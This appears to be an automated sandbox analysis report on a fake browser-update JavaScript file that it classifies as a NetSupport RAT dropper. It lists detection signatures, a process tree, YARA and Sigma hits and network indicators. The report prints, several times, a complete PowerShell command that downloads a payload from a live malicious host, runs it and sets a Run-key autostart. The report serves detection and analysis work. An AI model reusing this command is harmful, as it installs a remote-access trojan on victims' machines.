Edit tour

Windows Analysis Report
Update 124.0.6367.158.js

Overview

General Information

Sample name:	Update 124.0.6367.158.js
Analysis ID:	1473088
MD5:	b8f64a0c209acd231c88e321bcc2bd58
SHA1:	34181e5f8b174f34c2354aa0718100a82cabe408
SHA256:	87d664ed8ddc4bc3f24a1c520443db4a9501c204032ebed655de34ad998f94f5
Infos:

Detection

NetSupport RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Powershell drops NetSupport RAT client

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Contains functionality to detect sleep reduction / modifications

Contains functionalty to change the wallpaper

Delayed program exit found

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell drops PE file

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious PowerShell Download - PoshModule

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 380 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1436 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

client32.exe (PID: 5404 cmdline: "C:\Users\user\AppData\Roaming\KYED2\client32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)

client32.exe (PID: 1628 cmdline: "C:\Users\user\AppData\Roaming\KYED2\client32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)

client32.exe (PID: 4432 cmdline: "C:\Users\user\AppData\Roaming\KYED2\client32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x7d137f:$b1: ::WriteAllBytes( 0x7d1203:$b2: ::FromBase64String( 0x14def:$s3: reverse 0x14ed6:$s3: reverse 0x40bb7:$s3: reverse 0x40c54:$s3: reverse 0x41aef:$s3: reverse 0x41ea9:$s3: reverse 0x42022:$s3: reverse 0x420bd:$s3: reverse 0x4252f:$s3: reverse 0x4257e:$s3: reverse 0x42599:$s3: reverse 0x42687:$s3: reverse 0x42c23:$s3: reverse 0x42c2d:$s3: reverse 0xe26da:$s3: reverse 0xe6519:$s3: reverse 0x14038d:$s3: reverse 0x1403d8:$s3: reverse 0x191679:$s3: reverse

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\KYED2\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\KYED2\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6d72c7:$b1: ::WriteAllBytes( 0x6d7191:$b2: ::FromBase64String( 0x126b5:$s3: reverse 0x1279c:$s3: reverse 0x3a28d:$s3: reverse 0x3a32a:$s3: reverse 0x3b0f3:$s3: reverse 0x3b41b:$s3: reverse 0x3b594:$s3: reverse 0x3b62f:$s3: reverse 0x3ba5b:$s3: reverse 0x3baaa:$s3: reverse 0x3bac5:$s3: reverse 0x3bbb3:$s3: reverse 0x3c0bd:$s3: reverse 0x3c0c7:$s3: reverse 0xcdd68:$s3: reverse 0xd164b:$s3: reverse 0x1233f1:$s3: reverse 0x12343c:$s3: reverse 0x16ca53:$s3: reverse
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000005.00000000.2335929437.0000000000762000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2340113804.00000167C1A18000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.2435001152.0000000000762000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.3340023853.0000000003412000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.3339056947.0000000000762000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.2518592701.0000000011194000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000009.00000002.2518592701.0000000011194000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2340113804.00000167C18E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.2435778429.00000000111E2000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.2435714485.0000000011194000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000006.00000002.2435714485.0000000011194000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2340113804.00000167C18C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000000.2515088601.0000000000762000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2340113804.00000167C18F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.2517263762.0000000000762000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000000.2433476038.0000000000762000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2340113804.00000167C1621000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.2518663266.00000000111E2000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.client32.exe.73a90000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.client32.exe.73a90000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.0.client32.exe.760000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.0.client32.exe.760000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.client32.exe.73a90000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.client32.exe.760000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.powershell.exe.167c18e9140.1.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.powershell.exe.167c18d28b8.3.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.0.client32.exe.760000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.client32.exe.6f060000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.client32.exe.6f060000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.6f060000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
5.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.760000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.powershell.exe.167c18f33a8.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.client32.exe.760000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.client32.exe.6eef0000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
5.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 23 entries

Other

Source	Rule	Description	Author	Strings
amsi64_380.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6ffdc5:$b1: ::WriteAllBytes( 0x6ffc8f:$b2: ::FromBase64String( 0x12fde:$s3: reverse 0x130ce:$s3: reverse 0x3bce5:$s3: reverse 0x3bd85:$s3: reverse 0x3cbb8:$s3: reverse 0x3cef2:$s3: reverse 0x3d071:$s3: reverse 0x3d112:$s3: reverse 0x3d558:$s3: reverse 0x3d5a9:$s3: reverse 0x3d5c5:$s3: reverse 0x3d6b9:$s3: reverse 0x3dbdf:$s3: reverse 0x3dbe9:$s3: reverse 0xd326e:$s3: reverse 0xd6c99:$s3: reverse 0x12abb0:$s3: reverse 0x12abfe:$s3: reverse 0x175f7c:$s3: reverse

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFo

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 38.180.60.246, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 380, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFo

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", ProcessId: 380, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 380, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\KYED2\client32.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KOTLG

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1436, TargetFilename: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFo

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 38.180.60.246, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 380, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Suspicious PowerShell Download - PoshModule

Source: Event Logs

